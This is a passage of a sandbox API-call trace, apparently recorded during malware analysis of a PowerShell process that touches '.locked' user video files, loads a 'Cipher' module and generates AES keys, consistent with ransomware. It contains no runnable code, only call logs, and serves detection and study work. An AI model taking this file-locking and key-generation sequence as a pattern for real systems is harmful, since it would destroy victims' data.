[4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.646] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.646] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.646] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.646] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.646] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.648] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.648] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.648] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.648] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.648] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.650] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0138.651] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\pxy_oqq9tnpnfbr.mp4.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a06638 | out: lpFileInformation=0x6a06638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d9e9a8, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x15d9e9a8, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x15d9e9a8, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xb394)) returned 1 [0138.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0138.651] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4.locked", lpFilePart=0x0) returned 0x67 [0138.652] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\pxy_oqq9tnpnfbr.mp4.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0138.652] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0138.652] CloseHandle (hObject=0x764) returned 1 [0138.662] GetConsoleOutputCP () returned 0x1b5 [0138.662] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.663] GetConsoleOutputCP () returned 0x1b5 [0138.663] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.663] GetConsoleOutputCP () returned 0x1b5 [0138.663] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.663] GetConsoleOutputCP () returned 0x1b5 [0138.664] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.664] GetConsoleOutputCP () returned 0x1b5 [0138.664] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.664] GetConsoleOutputCP () returned 0x1b5 [0138.665] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.665] GetConsoleOutputCP () returned 0x1b5 [0138.665] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.665] GetConsoleOutputCP () returned 0x1b5 [0138.665] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.665] GetConsoleOutputCP () returned 0x1b5 [0138.666] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.666] GetConsoleOutputCP () returned 0x1b5 [0138.666] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.666] GetConsoleOutputCP () returned 0x1b5 [0138.667] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.667] GetConsoleOutputCP () returned 0x1b5 [0138.668] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.668] GetConsoleOutputCP () returned 0x1b5 [0138.668] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.668] GetConsoleOutputCP () returned 0x1b5 [0138.668] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.668] GetConsoleOutputCP () returned 0x1b5 [0138.669] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.669] GetConsoleOutputCP () returned 0x1b5 [0138.669] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.669] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0138.670] GetConsoleOutputCP () returned 0x1b5 [0138.670] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0138.670] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0138.671] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a2d848*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6a2d848*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0138.671] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0138.671] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0138.676] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.677] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.677] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.677] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0138.677] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.677] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.677] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.678] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0138.679] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0138.679] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.679] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.679] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.680] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x42eb298) returned 1 [0138.680] CryptGenKey (in: hProv=0x42eb298, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e850f8) returned 1 [0138.680] CryptContextAddRef (hProv=0x42eb298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.680] CryptExportKey (in: hKey=0x8e850f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0138.681] CryptExportKey (in: hKey=0x8e850f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a37144, pdwDataLen=0x99ae894 | out: pbData=0x6a37144*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0138.681] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.681] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.681] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.681] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.681] SysStringLen (param_1="") returned 0x8 [0138.681] SysStringLen (param_1="7") returned 0x8 [0138.681] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.682] SysStringLen (param_1="\xdb68\xe388\x5f4a\x9171\x5fb5\x427\x2d5d\x9f79") returned 0x8 [0138.682] SysStringLen (param_1="\xdb68\xe388\x5f4a\x9171\x5fb5\x427\x2d5d\x9f79") returned 0x8 [0138.682] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.682] SysStringLen (param_1="7W") returned 0x8 [0138.682] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.682] SysStringLen (param_1="\xbbe9\x6657\x392a\x975d\x45d5\xa906\x308b\xecb6") returned 0x8 [0138.682] SysStringLen (param_1="\xbbe9\x6657\x392a\x975d\x45d5\xa906\x308b\xecb6") returned 0x8 [0138.682] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.682] SysStringLen (param_1="7Wq") returned 0x8 [0138.682] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.682] SysStringLen (param_1="니㑉⏣䟸糯泌ꑊ峒") returned 0x8 [0138.682] SysStringLen (param_1="니㑉⏣䟸糯泌ꑊ峒") returned 0x8 [0138.682] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.682] SysStringLen (param_1="7WqD") returned 0x8 [0138.682] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.683] SysStringLen (param_1="\x2626\xbff7\xea64\x7cc1\xf0c4\xd509\x56b8\x4e1e") returned 0x8 [0138.683] SysStringLen (param_1="\x2626\xbff7\xea64\x7cc1\xf0c4\xd509\x56b8\x4e1e") returned 0x8 [0138.683] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.683] SysStringLen (param_1="7WqDR") returned 0x8 [0138.683] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.683] SysStringLen (param_1="\x12ff\x18d3\xec95\xeda\xee9c\x581\x6ec5\x4089") returned 0x8 [0138.683] SysStringLen (param_1="\x12ff\x18d3\xec95\xeda\xee9c\x581\x6ec5\x4089") returned 0x8 [0138.683] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.683] SysStringLen (param_1="7WqDRe") returned 0x8 [0138.683] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.683] SysStringLen (param_1="\x64d1\xf754\xc89\xba8f\x9712\xbad5\xa24\x3853") returned 0x8 [0138.683] SysStringLen (param_1="\x64d1\xf754\xc89\xba8f\x9712\xbad5\xa24\x3853") returned 0x8 [0138.683] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.683] SysStringLen (param_1="7WqDRe/") returned 0x8 [0138.683] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.683] SysStringLen (param_1="\x816b\x1012\x532e\x8b32\x1109\xd59b\x8344\x96ae") returned 0x8 [0138.683] SysStringLen (param_1="\x816b\x1012\x532e\x8b32\x1109\xd59b\x8344\x96ae") returned 0x8 [0138.683] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.684] SysStringLen (param_1="7WqDRe/1") returned 0x8 [0138.684] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.684] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6") returned 0x8 [0138.684] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6") returned 0x8 [0138.684] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6") returned 0x8 [0138.684] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6") returned 0x10 [0138.684] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.684] SysStringLen (param_1="7WqDRe/1Tɫ╦擌ࡺ㭑굵") returned 0x10 [0138.684] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.684] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x52ff\x4003\x1383\xdc26\x553b\x38ce\x88c1\x1ae7") returned 0x10 [0138.684] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x52ff\x4003\x1383\xdc26\x553b\x38ce\x88c1\x1ae7") returned 0x10 [0138.684] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.684] SysStringLen (param_1="7WqDRe/1TC╦擌ࡺ㭑굵") returned 0x10 [0138.684] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.684] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x56f9\xe21a\xd3c5\xd3fe\x9d5f\xf4ca\x603f\xe6b9") returned 0x10 [0138.685] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x56f9\xe21a\xd3c5\xd3fe\x9d5f\xf4ca\x603f\xe6b9") returned 0x10 [0138.685] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.685] SysStringLen (param_1="7WqDRe/1TCB擌ࡺ㭑굵") returned 0x10 [0138.685] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.685] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x70a0\xf6ac\xbd7c\xb654\x51b9\x17c0\x864a\xd49b") returned 0x10 [0138.685] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x70a0\xf6ac\xbd7c\xb654\x51b9\x17c0\x864a\xd49b") returned 0x10 [0138.685] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.685] SysStringLen (param_1="7WqDRe/1TCBSࡺ㭑굵") returned 0x10 [0138.685] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.685] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\xc7dd\x1a9f\x6271\x9c57\x16ee\x4d17\xe1b0\x83ce") returned 0x10 [0138.685] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\xc7dd\x1a9f\x6271\x9c57\x16ee\x4d17\xe1b0\x83ce") returned 0x10 [0138.685] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.685] SysStringLen (param_1="7WqDRe/1TCBS4㭑굵") returned 0x10 [0138.685] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.685] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x1361\x9702\xc992\x8279\x39bd\xe0fb\x5f0e\x2a4d") returned 0x10 [0138.685] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x1361\x9702\xc992\x8279\x39bd\xe0fb\x5f0e\x2a4d") returned 0x10 [0138.685] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.686] SysStringLen (param_1="7WqDRe/1TCBS4j굵") returned 0x10 [0138.686] SystemFunction040 (in: 